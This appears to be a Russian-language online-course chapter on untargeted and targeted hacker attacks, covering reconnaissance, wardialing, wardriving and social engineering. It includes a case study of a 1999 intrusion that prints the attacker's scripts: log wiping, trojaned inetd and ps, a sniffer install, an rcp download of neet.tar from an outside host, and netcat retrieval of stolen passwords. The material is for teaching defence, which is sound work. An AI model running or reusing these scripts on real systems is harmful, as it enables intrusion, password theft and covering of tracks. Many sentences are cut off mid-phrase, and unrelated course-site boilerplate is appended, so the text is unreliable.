Хакеры, использующие методы ненаправленных атак, не ищут определенную информацию или организацию: им для взлома подходит любая система. Их уровень квалификации колеблется от очень низкого до самого высокого, а в качестве мотива выступает, прежде всего, желание привлечь к себе внимание взломом какой-нибудь системы. Вероятно, присутствует и жажда наживы, но что они пытаются приобрести таким образом - остается загадкой.
Объекты атак
Хакеры, использующие методы ненаправленных атак, отыскивают любую систему, какую получится найти. Обычно у них нет определенной цели. Иногда для поиска выбирается сеть или доменное имя, но этот выбор, как правило, случаен. Объектом атаки может стать любая организация, к беспроводной сети которой смог подключиться хакер.
Предварительное исследование
Хакер по-разному проводит предварительное исследование. Некоторые начинают атаку сразу же, без всякой "разведки" и точного определения цели, если находят систему, подключенную к сети. После проведения предварительного зондирования атака обычно выполняется со взломанных систем, чтобы хакер мог "замести следы".
Предварительное исследование через интернет
Чаще всего хакеры выполняют скрытое сканирование диапазона адресов, называемое половинным IP-сканированием. С его помощью выявляются системы, находящиеся в данном диапазоне, и службы, доступные в этих системах. При скрытом сканировании выполняется также развернутая отправка пинг-запросов в этом диапазоне адресов, т. е. отправка пинг-запроса по каждому адресу и просмотр полученных ответов.
При выполнении скрытого сканирования хакер обычно отправляет TCP
(рис 3.8) Скрытое сканированиеРазновидностью скрытого сканирования является сканирование со сбросом соединения (reset
(рис 3.9) Сканирование со сбросом соединенияПримечание
Существуют способы скрытого сканирования, позволяющие определить открытые порты. Обычно они выполняются посредством передачи трафика к определенным портам. Если порт закрыт, он ответит
Иногда хакер выполняет предварительное исследование в несколько этапов. Сначала он выбирает имя домена (обычно произвольно) и начинает зонную передачу DNS, направленную к этому
Предварительное исследование по телефону
Предварительное исследование не ограничивается сбором интернет-адресов. Wardialing ("разведка по телефону") - еще один метод, используемый хакерами для выявления потенциальных жертв и определения систем, имеющих модем и отвечающих на входящие звонки. С помощью компьютера хакер в течение одной ночи производит дозвон по тысячам телефонных номеров, найденных в модемной линии. Современные программные средства способны различить модем и факс. После выявления ответивших модемов хакер обращается к каждому из них, определяя работающие программы. С помощью программы PC Anywhere (весьма привлекательной для злоумышленников) хакер захватывает управление ответившим компьютером.
Предварительное исследование через беспроводные сети
Быстрое распространение беспроводных сетей в организациях и у домашних пользователей также позволяет произвести хакерскую "разведку". Новый термин "wardriving" ("разведка на автомобиле") означает, что хакер разъезжает по городу с компьютером и адаптером беспроводной сети, выявляя точки входа беспроводных сетей. При этом используется устройство типа
После выявления беспроводной сети хакер воспользуется выходом в интернет для атаки других сайтов. Такой способ атаки отлично маскирует хакера, ведь ложный след ведет к беспроводной сети организации. Даже в случае обнаружения присутствия хакера выяснить его реальное место расположения очень трудно.
Методы атак
В общем случае хакер, использующий методы ненаправленных атак, имеет в своем распоряжении один или несколько (не очень много) эксплойтов. С помощью предварительной разведки он постарается найти системы, уязвимые к этим эксплойтам. Большинство хакеров, отыскав систему, попробуют взломать ее "в один прием". Более продвинутые взломщики с помощью специальных средств сканирования находят несколько уязвимых систем, а затем создают сценарии атаки, направленной против всех систем одновременно.
Использование взломанных систем
После взлома системы хакер обычно помещает в нее "черный ход", через который он будет входить в систему в дальнейшем. Часто "черные ходы" используются вместе с инструментом
В качестве примера рассмотрим реальную ситуацию. В конце июня 1999 г. многие системы подверглись атаке через интернет и были успешно взломаны. Нападение выглядело автоматизированным, поскольку взлом систем произошел в течение короткого промежутка времени. Исследование и анализ систем показали, что хакер применил для проникновения средство RPC Tooltalk, вызывающее
В процессе работы группа исследователей получила сценарии, которые выглядели так, будто отправлены от системы хакера. Но на самом деле они работали на взломанной системе, давая хакеру возможность автоматизированного возврата в каждую вскрытую систему и извлечения файлов журнала снифера. Эти файлы включали идентификаторы пользователей и их пароли для каждой системы в локальной сети. В следующем разделе приведено содержание этих сценариев, чтобы вы могли понять, как хакер построил свою "империю".
Примечание
Такой тип сценариев встречается все чаще и чаще. Кроме того, появление червей, действующих аналогичным образом и возвращающих отчет своему разработчику, показывает, что эта атака не была уникальной.
Реальные сценарии атак
Сценарии, о которых рассказывалось выше, мы обнаружили во взломанных системах. Они показывают механизмы использования хакерами большого количества взломанных систем для сбора паролей.
Начнем исследование методов вторжения с системы-жертвы. Рассматриваемая система была взломана посредством
unset HISTFILE; unset SAVEHIST
Хакер отключает файл журнала, чтобы его действия не фиксировались.
cp doc /usr/sbin/inetd; chown root /usr/sbin/inetd; chgrp root /usr/sbin/inetd; touch 0716000097 /usr/sbin/inetd;
Хакер копирует файл doc поверх существующего inetd, изменяет владельца, группу и метку времени файла в соответствии с оригиналом.
rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd /usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*
Хакер удаляет файл doc, извлеченный из neet.tar, /tmp/bob (см. далее в разделе), сообщения (для удаления информации об атаке), файлы statd и rpc.ttdb (программу Tooltalk). Интересно, что хакер удалил также и метод, использовавшийся для получения доступа к системе.
rm -rf /var/log/messages /var/adm/sec* /var/adm/mail* /var/log/mail* /var/adm/sec*
Хакер удаляет дополнительные файлы журналов для скрытия своих действий.
/usr/sbin/inetd -s; /usr/sbin/inetd -s; telnet localhost; /usr/sbin/inetd -s;
Хакер запускает две копии inetd. Затем с помощью telnet он подключается к
ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
Хакер определяет место расположения первоначальной версии inetd, отыскивая inetd и bob в
ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
ps -ef | grep ttdb | grep -v grep | awk '{print "kill -9 " $2 }' > boo
chmod 700 boo
./boo
rm -rf boo
Затем он определяет место расположения процессов statd и ttdb и удаляет их таким же образом.
mkdir /usr/man/tmp mv update ps /usr/man/tmp cd /usr/man/tmp echo 1 \"./update -s -o output\" > /kernel/pssys chmod 755 ps update ./update -s -o output
Хакер создает директорию в /usr/man и помещает туда снифер и файл ps. Он создает сценарий, активизирующий снифер при
cp ps /usr/ucb/ps mv ps /usr/bin/ps touch 0716000097 /usr/bin/ps /usr/ucb/ps
Хакер заменяет исходный файл ps новым и изменяет его метку времени в соответствии с оригиналом.
cd / ps -ef | grep bob | grep -v grep ps -ef | grep stat | grep -v grep ps -ef | grep update
Далее хакер проверяет, что все работает как надо. Огромный интерес для нас представляет сценарий bd. Он показывает изменения в системе и дает подсказку о том, как хакер вошел в систему. Ключевой момент здесь - ссылка на /tmp/bob. При анализе причин удаления хакером исходного процесса inetd мы предположили, что этот процесс выполнялся вместе с файлом конфигурации /tmp/bob (inetd можно вызвать для работы с файлом конфигурации, введенным в командной строке). Неизвестно, что было в этом файле, но, вероятно, исходный эксплойт Tooltalk позволял перезагружать inetd с новым файлом конфигурации.
Другим интересным моментом сценария является уничтожение хакером процессов, с помощью которых он проник в систему. Наверное, он не хотел, чтобы другие атаковали его "владение".
Главной ошибкой сценария был запуск трех процессов inetd. Произошло следующее: множественные процессы inetd стали видны, и в папке /var/log/messages появились сообщения о том, что второй и третий процессы inetd не могут связаться с telnet и FTP-портами.
Взломав системы изначально с помощью эксплойта, хакер затем использовал сценарии для загрузки каждой системы со снифером и "черным ходом". Он создал три сценария. Первый сценарий назывался massbd.sh.
#!/bin/sh for i in 'cat $1'; do (./bd.sh $i );done
Этот сценарий использовал файл ввода (вероятно, список IP-адресов) и исполнял сценарий bd.sh (отличающийся от сценария bd, рассмотренного выше), направленный к каждому адресу.
В сценарии bd.sh содержатся всего две строки:
#!/bin/sh ./bdpipe.sh | telnet $1 1524
Данный сценарий дает хакеру ценную информацию о том, что делает в системе первоначально запущенный эксплойт bdpipe.sh через telnet. Обратите внимание на порт назначения - 1524.
Третий сценарий называется bdpipe.sh. Он содержит набор команд, передаваемых через telnet и исполняющихся на целевой системе.
#!/bin/sh echo "cd /tmp;" echo "rcp demos@xxx.yyy.zzz.aaa:neet.tar ./;" sleep 2 echo "tar -xvf neet.tar;" sleep 1 echo "./bd;" sleep 10 echo "rm -rf neet.tar bd update*;" sleep 10 echo "exit;"
Скрипт bdpipe.sh производит удаленное копирование файла neet.tar от другой системы, открывает файл и исполняет сценарий bd, найденный нами на компьютере-жертве. Этот сценарий удаляет neet.tar, bd и обновляет /tmp. Такой подход сработал не на всех системах, что позволило найти файл neet.tar и просмотреть его содержимое.
Можно предположить, что хакер планировал быстро взломать большое количество систем. Хотя сценарии несложные, много работы ушло на построение всех элементов атаки, чтобы добиться ширины ее размаха.
Из собранной информации видно, что хакер не стал загружать снифер на все системы-жертвы. Были найдены сценарии, предназначенные для извлечения собранных паролей. Первый сценарий назывался mget.sh.
for i in 'cat $1' ; do (./sniff.sh $i ) ; done
Этот сценарий использовал список IP-адресов для вызова sniff.sh. Сценарий sniff.sh содержит всего две строки:
#!/bin/sh ./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log
Сценарий sniff.sh использовал IP-адреса для установки соединения с целевой системой через порт 23 (telnet) от специального порта отправителя (53982). Программа nc (называемая также netcat ) позволяет устанавливать соединение от любого порта к любому порту. Находка этого сценария подсказала, что "черный ход" находился в измененном файле inetd. При установке соединения telnet от порта 53982 измененный inetd мог отыскивать пароли и, в случае успеха, запускать
Третий сценарий назывался getshniff.sh. Он передавался через соединение nc и выполнялся на целевой системе.
#!/bin/sh sleep 2 echo "oir##t" sleep 1 echo "cd /usr" sleep 1 echo "cd man" echo "cd tmp" sleep 2 echo "cat output*" sleep 1 echo "exit"
Сценарий getshniff.sh. дал нам пароль, который использовался вместе с измененным inetd (. Он вводил данные в nc для закрытия соединения с целевой системой и получал выходной файл из снифера.
Все эти сценарии наглядно показывают, чем занимался хакер в системе. После взлома системы он мог удаленно получать журналы снифера и, следовательно, проникать в системы, на которые не попал во время первой атаки. Автоматизация процесса взлома и извлечения паролей давала возможность быстрого доступа к большому количеству систем и расширения успеха с помощью получения и сохранения дополнительных паролей.
Хакер, использующий методы направленных атак, пытается проникнуть в конкретную организацию или нанести ей ущерб. Мотивацией его действий является стремление получить от организации информацию определенного типа. Он стремится причинить вред несколькими способами, используя для этого направленные
Объекты атак
Выбор объекта атаки обычно обоснован - это информация, представляющая интерес для хакера. Хакера может нанять сторонняя организация для получения некоторых сведений. Независимо от причины, объектом атаки становится конкретная организация (не обязательно ее внутренняя система).
Предварительное исследование
В направленных
Предварительное исследование адресов
В процессе предварительного исследования адресов выявляется адресное пространство, используемое в организации. Эту информацию можно найти во многих местах. В первую очередь, служба DNS позволяет определить адреса веб-серверов организации: адрес главного DNS-сервера в домене и адрес почтового сервера. Отыскать нужные адреса можно с помощью Американского реестра номеров интернета (American
Дополнительные доменные имена, назначенные организации, имеются в
Много информации об используемых адресах даст зонная передача от главного DNS-сервера домена. Если сервер позволяет осуществлять такую передачу, то в результате возможно получение списка всех известных ему систем домена. Это весьма ценная информация, но такой подход может обратить на себя внимание целевой системы. Правильно настроенные DNS-серверы ограничивают зонную передачу. В этом случае попытка получения информации заносится в журнал событий и выявляется администратором
Используя все вышеперечисленные способы, хакер получает список доменов, назначенных организации, адреса всех веб-серверов, почтовых серверов и главных серверов, список диапазонов адресов и, потенциально, список всех используемых адресов. Большую часть этой информации он найдет, не вступая в непосредственный контакт с организацией-жертвой.
Предварительное исследование телефонных номеров
Предварительное исследование телефонных номеров выполнить сложнее, чем отыскать сетевые адреса. Узнать главный номер организации можно в справочной либо на веб-сайте, поскольку организации публикуют там свои контактные телефоны и номера факсов.
После получения телефонных номеров хакер ищет работающие модемы, воспользовавшись программой типа "wardialer". Приблизительно определив блок телефонных номеров, используемых организацией, он начинает дозвон по этим номерам. Однако такая деятельность не останется незамеченной, так как будут прозваниваться многие офисные номера. Поэтому хакер постарается выполнить это в нерабочее время или в выходные дни, чтобы уменьшить вероятность обнаружения.
Осложняет работу то обстоятельство, что он не знает номера наверняка. В результате у него на руках могут оказаться модемные подключения других организаций, которые в данный момент ему не очень-то нужны.
В конце концов, хакер получит список номеров с отвечающим модемом. Возможно, он пригодится ему, а возможно, и нет. Хакеру предстоит проделать большую работу для сбора необходимой информации.
Предварительное исследование беспроводных сетей
Хакер проверит близлежащий район (автомобильные стоянки, другие этажи здания, улицу) на предмет наличия беспроводных сетей. Эту разведку он выполнит без особых усилий, прогуливаясь вокруг здания или проезжая на автомобиле. В большинстве случаев его попытки подключения к беспроводной сети не будут зарегистрированы
Примечание
Выполняя такое исследование, хакер должен физически находиться рядом с целевым объектом.
Предварительное исследование системы
Предварительное исследование систем представляет потенциальную опасность для хакера, но не с точки зрения задержания и ареста, а с точки зрения привлечения внимания. В процессе сбора данных хакер определяет используемое оборудование, операционные системы и их уязвимые места.
Хакер применяет развернутую отправку пинг-пакетов, скрытое сканирование или сканирование портов. Если он хочет остаться "в тени", то будет выполнять все очень медленно - один пинг-пакет по одному адресу примерно каждый час. Такая деятельность останется незамеченной для большинства администраторов.
Сканирование для определения операционных систем скрыть труднее, так как сигнатуры пакетов большинства инструментальных средств хорошо известны, и системы обнаружения вторжений (
Выявление уязвимых мест представляет для хакера серьезную опасность. Это можно сделать, осуществляя атаки или исследуя систему на наличие уязвимости. Одним из способов является проверка номера версии популярного программного обеспечения, например, почтового сервера или DNS-сервера, которая и подскажет известные уязвимые места
Если хакер воспользуется сканером уязвимых мест, то он с большой долей вероятности вызовет сигнал тревоги в системе обнаружения вторжений. Один сканер поможет хакеру отыскать единственную "прореху", другой выявит большее количество уязвимых мест. Независимо от используемого инструмента, хакер соберет нужную информацию, но, скорее всего, его присутствие будет замечено.
Предварительное исследование сферы деятельности
Понимание сферы деятельности организации очень важно для хакера. Он должен знать, как используются компьютерные системы, где размещена ценная информация и аппаратура. Эти знания помогут ему определить место расположения вероятной цели. Например, если сайт электронной коммерции вместо обработки транзакций владельцев кредитных карт отправляет покупателей на сайт банка, это означает, что на целевой системе не хранятся номера кредитных карт.
При проведении предварительного исследования хакер постарается выяснить, каким способом можно максимально навредить системе. Производителю, на единственной ЭВМ которого хранятся все производственные планы и материальные заказы, можно нанести серьезный ущерб выводом этой ЭВМ из строя. Именно эта ЭВМ станет главной целью для хакера, желающего максимально навредить этому производителю.
Частью
И последним этапом разведки является сбор информации о служащих. Многие организации размещают информацию о руководителях на своем веб-сайте. Такая информация представляет большую ценность, если хакер задумает воспользоваться методами социального инжиниринга. Дополнительную информацию даст поиск в интернете по имени домена организации. Таким способом можно получить адреса электронной почты служащих, размещающих в интернете
Физические методы сбора данных
Физические методы сбора данных в основном используются в направленных
Хакер ведет наблюдение за зданием, в котором размещается организация. Он изучает компоненты
Хакер проследит и за тем, как обращаются с мусором и выброшенными документами. Если все это складывается в мусорный бак позади здания, то он может ночью порыться в нем и найти интересующую информацию.
Методы атак
Имея на руках всю необходимую информацию об объекте атаки, хакер выберет наиболее подходящий способ с минимальным риском обнаружения. Запомните, что хакер, осуществляющий направленную атаку, заинтересован остаться в тени. Он вряд ли выберет метод атаки, который включит систему тревоги. Будем иметь это в виду при изучении электронных и физических методов атак.
Электронные методы атак
Хакер провел успешную разведку и выявил все внешние системы и все подключения к внутренним системам. Во время сбора данных об организации он определил уязвимые места систем. Выбор любого из них опасен, так как объект атаки может иметь системы обнаружения вторжения. Использование известных методов атак приведет в действие такую систему и вызовет ответные действия.
Хакер попытается скрыть атаку от
Если хакер решит атаковать с помощью дозвона по телефону, он поищет удаленный доступ с легко угадываемым паролем или вовсе без пароля. Его первоочередными целями станут системы с удаленным управлением или системы администратора. Он атакует их в нерабочее время, чтобы предотвратить обнаружение атаки служащими.
Если хакер нашел уязвимую домашнюю систему служащего, он будет атаковать ее напрямую либо отправит туда вирус или "
При выявлении беспроводных сетей хакер получает способ легкого доступа. Нередко беспроводные сети являются частью внутренней сети организации и имеют меньше установленных и работающих устройств безопасности (типа систем
Физические методы атак
Самым простым физическим методом атак является исследование содержимого мусорного бака в ночное время. В нем можно найти всю необходимую информацию. Если такой информации не окажется, то кое-какие сведения пригодятся для атак социального инжиниринга.
Социальный инжиниринг - самый безопасный метод физической атаки, с помощью которого можно проникнуть в систему. Ключевой момент такой атаки - маленькая ложь. К примеру, хакер позвонит секретарю в приемной и узнает номер службы поддержки. Затем он свяжется с удаленным офисом и под видом секретаря разузнает о каком-нибудь служащем. Следующий звонок - в службу поддержки - он сделает от его имени: попросит номер телефона для локального дозвона или скажет, что забыл пароль. Добытая информация позволит хакеру войти в систему с легальным ID и паролем пользователя.
Самым опасным типом физической атаки является реальное проникновение в организацию. В этой книге мы не будем описывать взлом помещения, хотя серьезный хакер решится и на это. Оказавшись внутри, он подключит свой переносной компьютер к сети. Во многих компаниях недостаточно контролируются внутренние сетевые подключения, поэтому в распоряжении злоумышленника окажется вся сеть. Если служащие не научены докладывать о посторонних в офисе, у хакера будет масса времени для поиска нужной информации.
Использование взломанной системы
Хакер будет использовать взломанную систему в своих целях, стараясь скрыть следы своего присутствия настолько тщательно, насколько возможно. Такие хакеры не хвастаются своими победами. Взломанная система станет для него стартовой площадкой для проникновения в более засекреченные внутренние системы. Все действия будут выполняться максимально скрытно, чтобы не привлечь внимания администраторов.
Данный проект показывает, как хакер будет проверять вашу организацию на наличие уязвимых мест. Предполагается, что вы загрузили и установили программы nmap (http://www.insecure.org/) и Nessus (http://www.nessus.org/).
Шаг за шагом
Выводы
Данный проект позволяет получить базовую информацию о пространстве IP-адресов организации и ее системах. Шаги с 1 по 5 не требуют подключения к системам организации. В результате их выполнения и собирается основная информация об организации и используемом адресном пространстве.
Шаги 6 и 7 должны выполняться с разрешения сетевых администраторов и администраторов службы безопасности, поскольку могут вызвать сигнал тревоги в системах обнаружения вторжений. По окончании работы вы получите довольно полную распечатку систем и их уязвимых мест.
Для получения официальных документов о завершении программы дополнительного профессионального образования (удостоверения о повышении квалификации, дипломов о профессиональной переподготовке и MBA) необходимо предоставить:
Внимание! Вы можете не заказывать доставку бумажной версии официального документы, а скачать его в электронном виде и распечатать самостоятельно. Информация о выданном документе в течение 1 месяца загружается в Федеральную информационную систему «Федеральный реестр сведений о документах об образовании и (или) о квалификации, документах об обучении» - ФИС ФРДО.
Доступ на новый сайт осуществляется с использованием адреса электронной почты, который был указан вами при регистрации на "старом". Мы постарались перенести все ваши данные с прежнего ресурса, однако не исключена вероятность потери части информации.
При возникновении проблемы со входом, воспользуйтесь функцией сброса пароля
Если вы обнаружите несоответствия, пожалуйста, сообщите нам.